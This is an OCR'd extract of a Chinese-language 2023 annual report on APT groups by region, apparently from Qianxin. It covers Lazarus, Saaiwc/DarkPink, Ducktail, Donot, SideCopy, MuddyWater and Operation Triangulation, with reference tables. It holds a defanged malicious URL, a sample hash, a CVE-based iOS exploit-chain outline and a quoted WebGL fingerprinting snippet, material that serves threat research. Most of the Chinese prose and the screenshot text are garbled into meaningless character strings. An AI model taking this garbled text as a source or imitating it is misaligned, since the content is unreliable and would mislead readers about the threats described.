Lazarus F4A BlueNoroff B/ & %2 macOS B masEsn 1Y 2023/11/6

Lazarus 748 Andariel fE A SRR AEEE MY 112 2023/11/10
Kimsuky 853 # O B R SRS R s I S E R ST A (11 2023/11/21

Lazarus FE{ERI S 9 ISR HOTIE R Ik iz Ry B 2023/11/22

Lazarus F4H Andariel £A43% ] Apache ActiveMQ i&E CVE-2023-

46604114] 2023/11/27
ﬁll’ST]-C-28 (ScarCruft) BLREHIIFHESEZE Chinotto BHRIERNIHT 2023/12/1
Kimsuky 843558 Autolt 2= g 116 2023/12/1
Lazarus F48 BlueNorOff ZEt34 macOS BB S EsnhERH 2023/12/5

fyAD 111
5 Lazarus (APT-Q-1) %% npm SMERIERIRHREADH 1 2023/12/8

Operation Blacksmith: Lazarus 8 DLang 48 5 &F Telegram BY

TERE R ESRAS A 120 LI
Konni A4 LU R B F A AEE S BT 12U 2023/12/18

A R 3.42023 FHRIHX APT AL ARTERN *4

Elastic

Jamf

ASEC

ASEC

Microsoft

ASEC

360

ASEC

Kaspersky

HBFE: ti_support@gianxin.com  E3iE: 95015 ER: https://ti.gianxin.com
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—. F@EiitX
Southeast Asia

2023 FAREIMXERR APT ARBELRELZ . Saaiwc (5% DarkPink) AARFRERE, B 2023 F
1 BERBIELER, BRINL e BZIREZARNKEER. MEERARBMNELIAKRSFIIR
HORLL, BRRERME T WEME, WA RANRERAANEEALSBEHNEFEMER,

REAIL APT B4R ihde

THETE ++

Saaiwc aS

SIRSRIFEEEPD (APT) 2023 EEIRE 43



AR REEDNE  AFRENE

K{oy> B RIERMBIRP D

TEETE 2012 2015
Saaiwc 2021 2023
Ducktail 2021 2022

A R 352023 FREILMEXIER APT

4848

BIERARERT L ERMNERPOREREFBZN— APT AR, HE
2012 & 4 B, ZARHWHERF. Bk, BENE. BEER. s
eI SEEXEEMEE 7T HAR. itk BHER K ERE RS,
BIERARNEE BEEPENRRIEX S E, BEEEAD. BB,
PRI, AV EEE S,

Saaiwc 4HRN & DarkPink, F 2023 & 1 AHERN L2 BEEKE, &
ENBYIEFIIBAE 2021 FEFH, 1E 2022 FHNKEEE K.
ZABRHR T BT B EREIR AR, IFEMAR, DRATL., EERAIL.
REEE. FRRE. RE. XCRFFRIERNBFNESENG, ULHER
BB, BB,

Ducktail ALAHEIN L2 BT 2022 £ E, HWEEIEDM 2021 A,
Ducktail BYIE IR FFIRIRE), & XT Facebook Business IS BHZHH1T
&, BERNERRNIERBEUSER. ZALSNKTEENESESRE N ER,

WinRARBJCVE-2023-3883LIRAB AW E MR EEAMNANNEEHEZE, HPEESaaiwcAR,
SaaiwcHRE FHENK T EDFF B IZRREMENDRETN SN BMOEEERE,

e

>

VanBanGoc_20
23.07.10.TT03
FINAL pdf .exe

e

T
Tl il ly'f S |
' X ey @]
;gr:;a;oﬁoﬁég twinapi.dil Telegram
FiNAL2lp TelePowerDropper TelePowerBot cnC
CVE-2023-38831 L
PDF \
VanBanGoc_20
23.07.10.TT03
FINAL pdf
Lure
A 3.6 Saaiwc AAFIA CVE-2023-38831 AN K 7z (132
BRFE: ti_support@gianxin.com  EBiE: 95015 BEM: https://ti.qianxin.com 44
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Wi miERA £S5 SaaiwcAHALUERTEIEIN, AEREE LM T Lok, IWRKEESFR, REE
BRESmENXAREIIRA” amv” , #AEANEHNERTEIEZEREE" amv” ¥ ERIANEXH,
MMSEIME RGO L EIFEBAEIFDRENIEME, H—TEFN,

BERARETESF LFFHWERNNIE &5 P REER BRI EFAINEBIR, ZBLRERNREIE
RUERMEEMigERERNRERBULERT. FR—EUEEBMWAZENIEEEENE MR LR
REMAARARNEERAR™, FEIRBFRERPBERFONVNET, WARESHIBBERNS—
PRERKRTERNBVES:, TixE k= REBSRE)IRE,

UEFH m B s RIS W EIT5IDucktailfE 2023 F R E LR BB, AMARZE BNEREK
HENBEEREFE— L9, E—LEXIFacebook BusinessliSHHETohH, WEERIES
Ducktail ERIR B B RRIFE, BLRe BEEMAREFENEE Y, B—E Bl
KiE&EBARBWNMER, HFEAREARNEEMZL, BREBILEENTRIEN >, ZscalerfE8 30
BRIRE I PFRDucktailh “—IUH RSP EMARNITE , REMAARKIIRT $t¥dFacebook
BF, REEWSGNREETHM ETFE (LbiTikTok BusinessflGoogle Ads) LAWK 184X
R, AR RNREIM THHEERZ S,

fRIEiiA

DuckTail E—Ii$ B & MarEiHT A&7, (I =HERER. RARER (TTP). b EERN
s e R RE, SR EBETHT EEARMNKS.

DuckTail SHEZ4HE M SEEFEHBURTFAISIE cookie, FHERET)AER Facebook 1 VHAMIZIHAIA
B, WEESIHERE Linkedin HE3E, BT ABSIE Linkedin EAHEIBEMISRUBEEEZE
=

BN TR (AREE NG SRERS) AE TR It MEFRE T RS, ERITSHT
EIRIEM T EREEHE B R IR AEN. TES2 7 DuckTail BIpMT AENEEREMEFdED
it B A RS FH SR IR R S RYS R A :

Cloud Services

Abuses cloud services
to host payloads

‘g\ ) ~ GitLab
\ ’ Abuses GitLab 1o fetch C2 information 1 E E

DuckTail Threat Actor

Abuses LinkedIn for LinkedIn

social engineering victims
’ m

Account Takeover

Targels social media
business accounts

A [H3.7 Zscaler 3t Ducktail {7ane & 130

SERIFEMEED (APT) 2023 EERE 45



Koy B RIERDBIRPD

AEERIFEDuUCktailIR £ BWithSecureE S E8B31 B A TR S W pthiR eI, fhi1NET%
BALR BB 5DucktaiABIARBE DA BB 1, FXTEMHZERAE, BHBERFZL, EH_JL,{%BZ
KD RAAENEK. XLFMARZEREEZTAMBEAFE, WE5IREIMXUHRIRETS
(W0Facebook/Meta) AHLHIMEIELFESREAT, XSBEMARNRERNIRTEEMRE.

XLEFMALRE ARERRE R EE: MkesEM (JavaScript) « NodelSEIHATX . Python®]
AT (Pyinstaller/Nuitka) LUKz NETHLES (NET Corefl.NETHEZR) . WEBZHBEERGNAR
HW+0 %4, GBINERERE: Facebook (BRI &. WDl FfE) ; Linkedin (BBRIBEET&. &
ma. FAE) ; BEERLKIEL (BEREBES) ; WhatsApp (faf5) ; W (BXANEHE) ; #R
5|ZESEOKREF.

WithSecure—E ¥ DucktailfE/y 8 IR B o5 B N 3 1
Ducktail#B{IM MY H RN, KEH

B, FLEKSH, HIKETS—1T5

W/ Intel

Threats targeting the biggest platforms—
Meta Business and Facebook

Meta is the second biggest advertising platform (in terms of
ads revenue) in the world, and Facebook is the most used
social media platform (in terms of monthly active users, MAU).
This success naturally attracts threat actors hoping to abuse
the platform.

WithSecure Intelligence has observed and tracked numerous
threats targeting this highly adversarial space, particularly
Meta Business accounts and Facebook. The activity clusters
being tracked mainly originate and operate out of Vietnam. It
is worth noting that the threat landscape targeting this industry
is naturally much broader and more dynamic than the threats
we're currently observing and tracking and will continue to
evolve in unforeseen ways.

#Z A3Duckport,

Common trends between observed
threats

Most of the observed activity clusters rely on the usage of a
malware component (generally information stealers) to target

i and indivi ing on F: While
certain threat groups rely on commodity malware that are often
sold through malware-as-a-Service offerings, such as RedLine
stealer, other groups develop custom malware, allowing them
greater flexibility and capabilities. Most of the custom malware
observed today are written in high-level programming languag-
es, indicating the low barrier of entry for adversaries operating in

Meet the Ducks

« Browser extensions (i.e., Chrome) JavaScript
+ NodeJS-based ing Electron) -

* Python-based ( itka) - Python
« NET Core (single files) and .NET Framework - .NET

These threat groups target victims through various platforms,
with one threat group often expanding beyond a single plat-
form. Some of the most common distribution platforms and
vectors utilized by these threat groups include:

« Facebook - Fraudulent ads, pages, and direct messages.

« LinkedIn - Fraudulent job adverts, posts, and direct messag-

es (InMail).

« Freelance sites (Upwork, Freelancer) — Fraudulent job
adverts.

+ WhatsApp - Direct messages.

+ E-mails - Spear-phishing e-mails and malicious spam
(malspam).

« Drive-by and promoted content — App store and search

engine results with varying techniques such as SEO poison-

ing and boosting on social media or relevant platform.

Following are some examples of how threat group target
victims through various platform:

A [E 3.8 WithSecure i Meet the Ducks B 2o mz Y

TLEBMBERPOBIET2023FERBEIMXAPTARN T EREED, TR

A WEFRRE
Saaiwc Saaiwc AFSNHAHUEE. VERSSHIINREHEDHHF 2 2023-01-06 218
Saaiwc DarkPink Bz WA ANRTH 12 2023-01-11 Group-1B
Saaiwc Saaiwc AAKE DKL, ENER AT 129 2023-02-13 E i
HRFE: ti_support@gianxin.com  EBiE: 95015 EM: https://ti.gianxin.com 46
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W EEiE

TR

Ducktail

Saaiwc

Saaiwc

Ducktail

Ducktail

Saaiwc

ERNSETE

Ducktail

Ducktail,
Duckport

Saaiwc

Duckport

Ducktail

BRINEETE

Ducktail

Du[clg]aillﬂlﬁﬁﬁbﬁi)”h, FIA LNK. PowerShell F1E fthE5BE 578210
il

Saaiwc AR ITENB BRI E5E T 5347 120

g;{2l<6|]3ink R ENE B AN 80 IR R R B IR S
Ducktail L3t & T2 Friaf S 2t 127

%t Ducktail B E{TanA0Azs 128

DarkPink ARMZ Mgz
SPECTRALVIPER BEMR AR E AR Al 1)

SRNT #R Ducktail 3

$+%¢ Meta Business i/ B4R 131

DarkPink #JF WinRAR jf& CVE-2023-38831 Wil 5 53R AL
eS0T

$+3¢ LINKEDIN _EB9% I A +-B915 B 55BGESy 133
B EAAEE I E A T B Y
UM BMW 35281 Bt Epsn s Ean %

$HRZA DarkGate Tty 130

A 3R 3.92023 FAREALMX APT ARASKEEDD

2023-03-10

2023-03-15

2023-03-20

2023-03-29

2023-05-09

2023-05-31

2023-06-09

2023-08-30

2023-08-31

2023-10-11

2023-11-01

2023-11-10

2023-11-30

2023-12-07

Deep Instinct

360

ZR

Yoroi

Trend Micro

Group-IB

Elastic

Zscaler

WithSecure

ZE

Appgate

Kaspersky

ELF

WithSecure

SWERIFEER (APT) 2023 FERS
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=. AlitX
South Asia

1RIE 2023 ERAFIREBIBLR, BIMXEAR/LDEM APT ARUERK S, BIERAEE. ERE.
MR E, IMRIIEERINA APT AEENR (Vajrakleph) ESEKIATEHK,

R APT 4H4R WiEhe
ERTE +
fthx = /Donot Team +
BERRERSE /Transparent Tribe +
SideCopy +
MEEtE /Sidewinder ++
EERE ++
KR /CNC +

HRFE: ti_support@gianxin.com  EBiE: 95015 EM: https://ti.gianxin.com 48
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RS EThETE]

AFF R EEET{E]

ERE
(Bitter)

finaiet
(Donot)

BERESE
(Transparent
Tribe)

SideCopy

)2
(Sidewinder)

&
(Patchwork)

BEZh

GroupA21
(CNC)

FNIR
(VajraEleph)

A 3 3.102023 Fral X ERL APT A7

2013

2016

2012

2019

2012

2009

2013

2017

2021

2016

2017

2016

2020

2018

2013

2017

2019

2022

FEFNEEME, PERE, HRGERABFARD. BO. &
TAAEX R, BREGISEREN, H5EEE. BEMWEFEXK.
BRIENEBRERR S /9 APT-Q-37,

FEHWEEINE, PE. FEZFREFFIHXER, WERF
1, ERESREIURE S TIHER A TRENKEIRER. +
2{EA yty M EHDevel REEBEEL, HRIENERERSH
APT-Q-38,

ZBLE5)E C-Majore EEREXENEERT. FESAERAR, LUK
BEIMBREAD FHREMSER, MATSIRFH#HITEYK
&, FENBSESGARERE.

FEHXEE. BEMBMAET, NUKE. Bb. EE%5E
KARA RN BIRFEITMLELIEES). RERGEFATEER]
Sidewinder K& EAth APT AZRHY TTP MiE2.

FEHWEELNE, FE. FETF. BAR. ZiBUFERRARE,
EEGIBIFINAE. EMESRE]. SFHENMSIH
EiEE. BFEAERRE (CVE-2017-11882) AR & &N, X
ERERERERSR S /9 APT-Q-39,

FEHWRE BEMEEIMXES, LB E%. 877, Tk,
SNIMEFFE I TSRS S, A& Windows. Android.
macOS = F AW EHAES]. BFRIENEFRESRS /I APT-Q-36,

1ZEA45)% Confucius, 2017 £ 10 B H Palo Alto Networks Unit
D ERNBERIFNE. 2017 £, BEREREHEFN APT AR,
HoTHS Patchwork FE—EX R, ZALMEERRT B ATB
WA 2013 £, ZAALIMAET Windows. Android & BT E
B3, HEH Delphi fE9H Dropper 2.

GroupA2l RFHERZE2RRHHE, =8 2017 FHER,
FEHN I XEEFRMREIRERD. ZARNREFES
BHARMERTAREFETAMZL, BEREATHAAKRDS
EBEERENKS

% APT HRRF W EENAT LUEHE 2021 FF 6 B, 5URER
T, FEHNEBEMEESRATHAR. Btk StENES
ERERER. G EEENBEMBERIAME (FC) A
BB (SSG) , LHEMMZBWME (FCBLN) , tIMNEE
2LBNEBHIEER (FIA) MERE (Police) . HFRIEAZRERYR
S 79 APT-Q-43,

SIKERIFEIERB (APT) 2023 FEIRE
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o FRERDBRBO

B2023F BN I XAPTARKREER, REBWIRBA. BEff. EEFH. FEAPTAR
HNAREREITRE, HERNPHNETEESBHEBGER.

2023F FHIBSLIRY R FIPATE B BRI RN ITIE F IR 2 Don ot AR U e KR X AR KX XA A B TER W &
B2,

RedDrip Team
< ﬁ;'-) @RedDrip7

#Donot #APT SFX sample targets Kashmir and contains several PDF
files.
Filename: "Kashmir Solidarity Day Material .exe"

4eaab63dd65fc699260306¢743b46303b
hxxps://briefdeall.lbuzz/Treolekomana/recopereta

g by emgaged m hiding prousd realsties s the conflictdut
bynﬂnﬁqhﬂ“-ﬂp—_1qﬁ;p—ﬁ-hpﬂcnﬂu-ﬂ M Ko Parvni of Joms Rk Cosbiens of T Saiwty (ROCS) w0 one off i
Itazamed noseatnoes oo Kashmar, lenin g man e drtemabers of Ko humer s mus ped o N b 2001 e rusde
e T ———
Ejffective scrutinizing &f the contens in the media and forcing newspaper o—-u-;-l-_t‘_--ih-—nl—c—-- e Iy B wenier o
wwrmers de Back el steries relafing o the wre of dispropevdienaic force by b
the grmed farces is what helped Imdia's repressive repimes to snable silemce Wi Waieckiiry i Sl iy 32 e f Ay
amd creaty o rmpkercreen fo comcead the crimen i ferces bave been h-ﬂi“ﬂhu“-u-ﬂu'-um-ﬂh
ifting against the Kashosivir, Bur with the advest af social wadia, it i irampa it b e regerad sl mrld g s it G Ll s e
mmﬂpm;mmmgﬁmmw» "";:il:?bﬁl:ﬂ.:-_‘ e —
dasem o Hie warld woom after sducated Kavhonirii mithin and sutride the — .
wailey avasied thes oppsiundy te cngage themsobiey wath dogaal plagfarm runaiing dr-nq--l—:n--mu-
o coumter Judla's d ared baseless narvarhes on Karhmalr, whech by s sl g the BIF B oty "y Raskiy® e, wese
aduch iRl el Bgabeied i e b ghe B poiosed b dhere T el
Al pralured Kashemns who were w0 long densed nocess and space m he mamstream medas baned. o
1 pocial saedia in hipe msnbens 10 vist e rosentuscat agat kode. The effoctive we of social ___“ﬁ_ﬁ_m:ﬂmt‘-.“m
mruedan bry e dech snvy Knshmen yoush on one hand cuismesied Indsan propagnnds whille om ik [ - chad st of bt e vl
Mhm-‘ﬁﬂximﬁm#mwhmm . relins i o eits = S0
wpothghied the ground reakives that the Indun governments inad 4o e ider M b s sy el VA ety el W 9 G
iﬂthhnﬂ Lamt agaient the o lew withie bada

eqﬂ.ln_d_l-hu !Mn.ﬂ-ﬂ-ﬂﬂ-m is

A [E 311 IFHEFIKRE Donot ALK EHEAR

FANEIBRIRES ZAEMN, EREEBERHARNEERBENTER, EXRGAAFREAT
TWIRAZABREMENKE R AEENRSEE. TRESREFE.
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SFEX3ZiF

=] rans
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TERAT

g: I'Jon
0201
o110 —Fﬁ

Shelicode

AT

FHBIER

REE4E

_>

-
>

TERIDLL

A& T ERI0LL

TERAT
——

FEFDLL

REERAT
>

A REREDLL

& 3.12 Donot HAKR &I

FFEIR 2 RSideCopy R IFEEXTENE EBR 3 A& i

*%ﬁi%’ﬂﬁﬁ@ﬂ’ﬂlﬂzfﬁo
5, ASAEENDelphigi®E C++RESRIFEALD,,

TEEEREXE

TERAT
B

JRIEDLL

EEEE

AW, RBEPAEIRE T LENEEEERXX

FEEAEEINKXFEAANOR, UEXHNARERFRIMHRITERIKR

ADVISORY ON GRANT OF RISK & HARDSHIP ALLOWANGE

Furiher to this ie letter even No dt 09 Nov 22.

ug has alre:
on »‘qmy Poral for ounioad Al
actio

(a)  Install Paich 12.1 in HRMS Server forthwith,

Part Il Orders akeady pub b

wd 10 Record Offices or
admin 1D and re-gent &
12.1 of HRMS and dgitally signed

of Par I Ondors. atoady processed by PAO

w mig cn impl of Risk & Hardship Allces vias oy okect
22 and certain pub errors were hig

gme.
HRIS usors rood 1 be schucsladirained prope fy on correct and efior e pub of
Part Il Ordars

& 3.13 SideCopy AR HFE

SIRERIFENERM (APT) 2023 FEIRE

Copy to
St J CGDA (Army)
ASDC (HRMS)

ACDA (IT & SDC)

Internal
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ﬁf+/ﬁiﬂ’]fﬂ,,\ FEBRE, 2023FHHNEAMZAR BT E XA B RERE T ELS B IHED
BRBROfficeXff, BEEZEFABWINRARREMERERERE. FEMSIXHFEZEEMT

Zi, MMSIX B E R HE REFIWMRAT A,

_.@_

WiExlsx3 {4

— |CHM

BEchm3#

4@_

PPTi%IE

msiexeciiT

iHHES R

C&cC

e
HREAR el s BB B
e 2] e
cac THEAMSIERRE
8
BRRICFER
&)
shell iR
_— e
HE#HR

& 3.14 EREALR 2023 FEABTRIZ
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BREBMERFOBIE T 2023F It XAPTAR AR K EES, 0 FRFR:

R EEiE

SideCopy

CNC

BRI

AR

BRT

BRAERSE

L

SideCopy

e

SideCopy

bt Eibe

BEAERE

SideCopy

BEAERE
AR
CNC
CNC

BRAERSE

SideCopy 4R B agik g 140
APT 4H4R “GroupA21” fEBUFE 75 A4 M B e 142
BITTER 4B421¢8) Office A {FRAMN EMEE T RIDRER)
APT-C-35 (RtRNTR) BEIEHENH EaniE 4
BRIEAR 2023 FENRHTHSHAM B 1Y
APT-C-56 (EBHERSE) thitmmEEmsn 4
Sidewinder §H T AHIK BB a5 3H [146)
SideCopy $3IENEEHIBATHIIZ % ReverseRAT /517 147
MR HWERNERIYEREED T
APT 448 SideCopy $HYENEEIRRIBY Y @ Bt sE a3 4 (14

BEREEEENE RIS AN EE RZEAD U Android FZF 17

APT-C-56 (3#EBAERSE) Android FA&EEXH RimRat 5 Linux &
EESEREL TR At S

SideCopy APT B4R T & ENEEEFFANAG DRDOM)

SideCopy AR4UITHE U ENE IR BHBX SRV RIBRV M AN AT
B EE: MR (Donot) AMIFHARHF AL 1Y
BRI R ERAAT L MR S & E S 15

Bitter $X¢FRENATHEI%E CHM Btk

EBAERSE (APT36) Wk ENERAE ]

Donot APT 18 Android B E 4 KT BT 1>

SE{\ CNC AR BRI a4 2

CNC B4R RTHE R S W E T 347 1>

APT36 #I Linux B E 4T ENE BT ialE5n 15

A 3R 3.152023 FEMX APT ARMAKEERD *1

2023/1/6

2023/1/11

2023/1/13

2023/2/7

2023/2/9
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Kurdistan ol SlewsyeS J1Ssalds >

@;

Lawe ul’im)),s

» English

OhE5 Hliw3yg8 (il)S9ald (jum (2309l (5 yale

syl ke 0 aYA e LT
| 090"l P3G 37055 g i 58"

S aa a5
o4y

9 Ol395" (5pale Loshit VY Seu)lsl8
0gp" 5" SR 3 "8

< plg> 99y >

(59hj95 Yo paSi 1éay (515aggdagsis 9 yaid

ogaigas) E @

Ghdssgdl Jla 1

3.23 HEHIERYE BN AT R B R E
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2023 F£E, PRHMXHED APT ARYRERDMERKEE, ARMRTESERKE, EREM
A5, LA MuddyWater Afl, 2023 FhEEN L2 BKEHEE C2 452 PhonyC2, EIFRAIEE,
XBEEM EHHRE T ZARH MuddyC2Go HERM B EXREIER R, XKRALL MuddyWater AL
REVRZR APT ARBHH S ER AR, EEMEERA /)

PARBXNZD APT ARS S5 AREZENER AT, BINEZREMBERESBNFE, FMECA)
B/ HIBTHEFRE, FENMKREMREA . REQFER, HNBETPRMKX 2023
FENETBEREHER, RERBTWTRAR:

15 EAiE]
PROMETHIUM  $t3F Android B389 StrongPity ialigsEan 242 2023/1/10 ESET
APT34 APT34 ARFHTBE a7 249 2023/2/2 Trend Micro
MuddyWater MuddyWater 331 & 54T 24 2023/3/9 UBSERZLR/
P! APT-C-23 (NRHB) (ARBIWE Erhodin 2 2023/3/30 360
WEHB Mantis: FIFH:EBEh1E B irmEm T A 2 2023/4/4 Symantec
MuddyWater MERCURY &1 DEV-1084: B &R MR 247 2023/4/7 Microsoft
APT35 Mint Sandstorm (I AL BN E BT 24 2023/4/18 Microsoft
MuddyWater B2 MuddyWater FIELRE H 24 2023/4/18 Group-1B
APT35 APT35 ¢B4RiE5d Bt B9 T B RER L &5 (250 2023/4/25 CheckPoint
APT35 RNT 8 APT35 HSsn B (251 2023/4/26 Bitdefender
MuddyWater MuddyWater {£Bh R B IRSEM T A RieKH 2 2023/5/2 ESET
Agrius AGRIUS 7E53¢ LU &8 5 ALRA M A 25 MONEYBIRD! 2! 2023/5/24 CheckPoint
CharmingKitten ~ Charming Kitten {5 POWERSTAR B3 2sih 24 2023/6/28 Volexity
MuddyWater MuddyWater $#0BE 8 < 5HIHELR PhonyC2/%) 2023/6/30 Deep Instinct
APT42 TA453 FIFB LNK #1 Mac BRI R B &R 250 2023/7/6 Proofpoint

A 3242023 FERFRMK APT HRRRKEER "1
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K{oy> B RIERMBIRP D

R EEiE

WS

APT34

APT35

APT33

WS

OilRig

Stealth Falcon

APT34

IO (APT-Q-58)

APT34

R4

Scarred Manticore

4

MuddyWater

Agrius

PUdEEls

JHIE (APT-Q-58)

AXR

OilRig

MuddyWater

B RALEER AR IR K S E T 27
TR WRIBAN L NS BT KT
APT34 {58 SideTwist ZHAD TR —H W& 55 20

APT35 ) Sponsoring Access B &z 2%

Pea[az%fl\] Sandstorm &3 2RSS E S SR & 118 B iRV 1B R UL
&

APT-C-23 (RIR) iB4trhzRX & e 207

OilRig 7£ 2021 £#1 2022 ST LAEFIH Outer Space F Juicy
Mix BeetsEah (26

[Szg?ﬂalth Falcon AR/ Deadglyph &I IERFRIHITIENE AT

APT34 B B B H BB EHR M
WREAR X BERBINBR T3 (KDP) SERDALHK P
Crambus: $t33ehRBUFARTE 552D )

%} AridViper Eitig ey B 5

Scarred Manticore ;EEhEI AR 47 5%

ArigY\(/)i]per Retg ohimial R R &% Android 2 FHIE
o

MuddyWater fEFI%TEY TTP 378 X XMLy 27
Agrius Wit L@ FIB SR EMR AR 2

Arid Viper 8 SpyC23 A543 Android 8% 27
Caracal Kitten AL HITEFR B EER 27

TA402 EFIE 2 IronWind ARSREE o s AR IRATSE (27
OilRig W ER P EA MBI =R B T a0

MuddyWater B L 3ERI R AR5 240 (277)

A R 3242023 FERFRMKX APT ALRARWEIESR) *2

2023/7/21

2023/8/4

2023/8/25

2023/9/11

2023/9/14

2023/9/20

2023/9/21

2023/9/22

2023/9/29

2023/10/10

2023/10/19

2023/10/26

2023/10/31

2023/10/31

2023/11/2

2023/11/6

2023/11/6

2023/11/9

2023/11/14

2023/12/14

2023/12/19

28

ESET

Microsoft

360

ESET

ESET

Trend Micro

FRE

Symantec

Sekoia.io

CheckPoint

Cisco

Deep Instinct

Palo Alto Networks

SentinelOne

R

Proofpoint

ESET

Symantec

HEFE: ti_support@gianxin.com

BiE: 95015 BM: https://ti.gianxin.com
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75 AEEMEX
North America

2023 FEEMWEBILEMXE APT SEshPRZFEMEBEENERE “Operation Triangulation” BEHHIK,
ZAALRENT i0S IGFENHEHEFELF, REEITREMEREZTIHAR,

XN

':l b3 APT 441 RERES

Longhorn +++ N

Equation Group +++
ATP-Q-94 +++

SIRSRIFEEEPD (APT) 2023 EEIRE 69



(&> HFRIEAMERB

=L T DT ERTE]

2023 & 6 B#], EINR2 i Kaspersky A IIZKEH1T
FIGE R A Operation Triangulation, {T&IESE]A]
L/;GH:I: 2019 Eo

Operation Triangulation 2019 2023 Operation Triangulation EM B EHEN GBI
X, WEEREERESITENNS I ERNBN. &
BRETIVERAR, WHEMNFFIETS 0S &&E
*xHZ4 0day iR

A 3K 3252023 FALEMXKIEFER APT 4R

Operation Triangulation I EH1TaNEH X 45 E BARHY i0S R EFHITHRIER . MRARTEH#ITT A
o, BEEREWT: REWEIEER iMessage M, ZMGBH—RIIREFNBER, HRITRAS
# TriangleDB AEiZ2FBIEEH,

TriangleDB
implant
N/ N/ N/ N/
JavaScript Webkit Kernel Binary
validator exploit exploit validator

iMessage
attachment SQL-modules Microphone

Location Keychain

A = 3.26 EFshiTmizE 22

IRIBOHT “TriangleDB” ** RH 24 &<, LIEFMNIEHITHRERIE:
o SXHEARE (GBI, Bk BHMMEREXHE) ;

o SHIERE (FIHMALL#H#E) ;

o HEREEMNPRBIE, XrEEMTRNREENEIL;

o BIEREENMIENUE,

o IBITHIINEIR, BN TriangleDB ABIERMIEEI Mach-0 AJITIZRF,

HRFE: ti_support@gianxin.com  EBiE: 95015 EM: https://ti.gianxin.com 70



BZE ST APT AR, JEEE | 2ERISERIERE) (APT) 2023 FEHRE

Attack chain

& BB

Attackers PDF file TrueType ROP/JOP NSExpression bplist NSExpressions :
iMessage font exploit L
account CVE-2023-41990

Kernel exploit i Safari Validator Safari Kernel exploit  Validator Malware
(JavaScript) ! exploit (Binary)

DollarVM d CVE-2023-32435
PAC bypass ™ CVE-2023-32434

CVE-2023-32434 CVE-2023-38606
CVE-2023-38606 Imagent
(cleaner)

3.27 SEnhseie sy s (287

ZWEFRAT 44 0day IRA, EAMIOS RARZE 16.2, U TRKREIIZRIFAMIAA:
o WHBXRIXEE iMessage M,

o MAZEEAERITRR: MHERBATRERN. NEFEETERIGEFH ADJUST TrueType FIEIES
AIZFE S ITIRIE (CVE-2023-41990) o

o Xt JavaScriptCore FEIFRH#HITIEERL, MMAIT JavaScript &5 BRSUREF B8,

o FJA JavaScriptCore J&ixThaE DollarVM(Svm), fERIZAER1S1R JavaScriptCore RFH T native
API ¥ 898E7], FIARIBEMT#IA iPhone 1&&, HESHWIIFNIED PAC ST #21F,

o FIREHRLRE CVE-2023-32434: EAF ZHRBITSEE MIRRENIE / TR,

o fEBNIZEEMIST I0(MMIO) HESESITEFEHFMNZT2FRIFIE PPL, ZRERETHS
CVE-2023-38606,

o e EREFI ARG, JavaScript R BIEF A& T IITEMRIENGES, BREEEETHITU
TH#RME: (a) BE) IMAgent HIZHENBREM, BifigE LNREFBRT; (b) A RERIET
Safari #12, HEHEBRHEEMNI,

o MIIE— A, BANREEIHITRIE, NREEEL, WHFNT—ME: X Safari BIREF Ao
o Safari JEMAFIA: FIA CVE-2023-32435 J/IAH1T Shellcode, Shellcode 1175 — Rz REFI AR
1B, ZABEHEEFMA CVE-2023-32434 #1 CVE-2023-38606,

© BYiS Root ¥R, ARHUTEMIER, MNEEIERMGT

SERIFEMEED (APT) 2023 EERE 71



o BREBMERBO

W EFRRR T RIEA A TriangleDB AR RIMEXAH 25, B EF N “IRIELE", Bl “JavaScript JiE23"
M “THEIIRIERRT Y, XEIFRINES X T ERENSMERHBELIXT 2RSSR, RAERT
THEREXNRBRIREHT T —INEEM. BIRITIHENE, KEHEFUHERMEIIB 0day KR A
MESHENREF A RN AT,

tesh, WEEBIFER WebGL EHEE R LAFIEE=ZARHITEERKM, RIT—FHA Canvas
Fingerprinting B9$880R B AR,

1 context bufferDatalcontext ELEMENT_ARRAY_BUFFER, 1, context STATIC_DRAW):
Z context.useProgram(C);
3 context.clearColor(@.5, 6.7, 8.2, 8.25);
4 context.clear(context . COLOR_BUFFER_BIT);
5 context drawElements{context. TRIANGLES, 1.length, context.UNSIGNED_SHORT, &);
& C.L = context.getAttribLocation(C, Z('VE'));
7 C.W = context.getUniformLocation(C, Z('Zv'));
8 context.enableVertexAttribArray(C.L);
9  context.vertexAttribPointer(C.L, 3, context.FLOAT, !1, &, @);
18 context._uniform2f(C.W, 1, 1);
11 context. drawArrays(context  TRIANGLE_STRIP, @, 3);
12 var h = new Uint8Array(262144);
3 conmtext.readPixels(@, @, 236, 256, context. RGBA, comtext UNSIGNED_BYTE, h);
14 data["xT'] = h[88849];
15 datal'jHW00'] = h[95654];
16 data['aRR'] = h[99183];
17 data['ffIEi'] = h[13e812];
18 for (var p =@, _ =@; _ = h.length; _++)
9 p == h[_];
268 datal "WiOn'] = p;

A [E 328 4%I= mma 28U

A 3.29 &I =

fafs (281

ERMNL, ZeMRABRABEANEREHZ K "Operation Triangulation”s

Operation Triangulation BN X E&EIFFIEIH, 1E TriangleDB 5 C2 RSB B \EE/E, SHWEHMIER
AEXH, BiEEREENEEEXY, REEBIXMAAE—TREE SHRER

S5WEHHEEXR

2o

HEFE: ti_support@gianxin.com  EBiE: 95015 EM: https:/ti.qianxin.com
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2023 £F Kaspersky %75 7 % %TF Operation Triangulation EEIHI DRSS, W TR

R iE] WERE

Kaspersky BT H i0S @& W BT RMAEE T 278 2023/06/01

£+3F Operation Triangulation 7 & B9 MFZE triangle_check,
AT EHH IR ERE 2 2023/06/02

YT E R E R BIEIE R Y TriangleDB Bys#f 2501 2023/06/21

Operation Triangulation Kaspersky

2 s FNE i3
gégggg'zgo{igréangulatlon PRSI IMEIRIEN DA, HNBT SR 2023/10/23

Operation Triangulation J & §EEE T 28y 5 282 2023/10/26

CVE 2023-38606 E’an B [283 2023/12/27

A 33302023 FALEMEX APT HRARIEERD

SWERIFEER (APT) 2023 FERS 73



(&> HFRIEAMERB

. HfttitX
Other regions

2023 FeHLel BRBHSTAESRARERAR. HEXFERFLIEIRN APT AR, FLERMSB
PO EIE EARALRIEXE T, WFRATT.

&AL E AT ERTE]

MR EREEME APT 4A4R, M 2018 & 4 BIERES, FEHNE
BERME 2018 2018 1@2&1&%*&#@&17@@% (ERh. . ShEETI) FEEM
I& o

ZARKEN R BIERTHBEIBFSEE. &% b=/
Kasablanka 2021 2023 STIMNBIEEHE, FRITSERHEERE Warzone RAT. Loda RAT, 7
2023 EF BB EREHIRRP T HXER LR T HEK T,

ZAR R PR E SR LUBHAE 2023 4], RIRERHM, FEEIT
NewsPenguin 2023 2023 BEAMENBinFHITREE, B BEEENEEERENS
W (PIMEC) #17t& X Hp o

FRARM, EERHNEHEEEAFITAR S, EAEERR CVE-

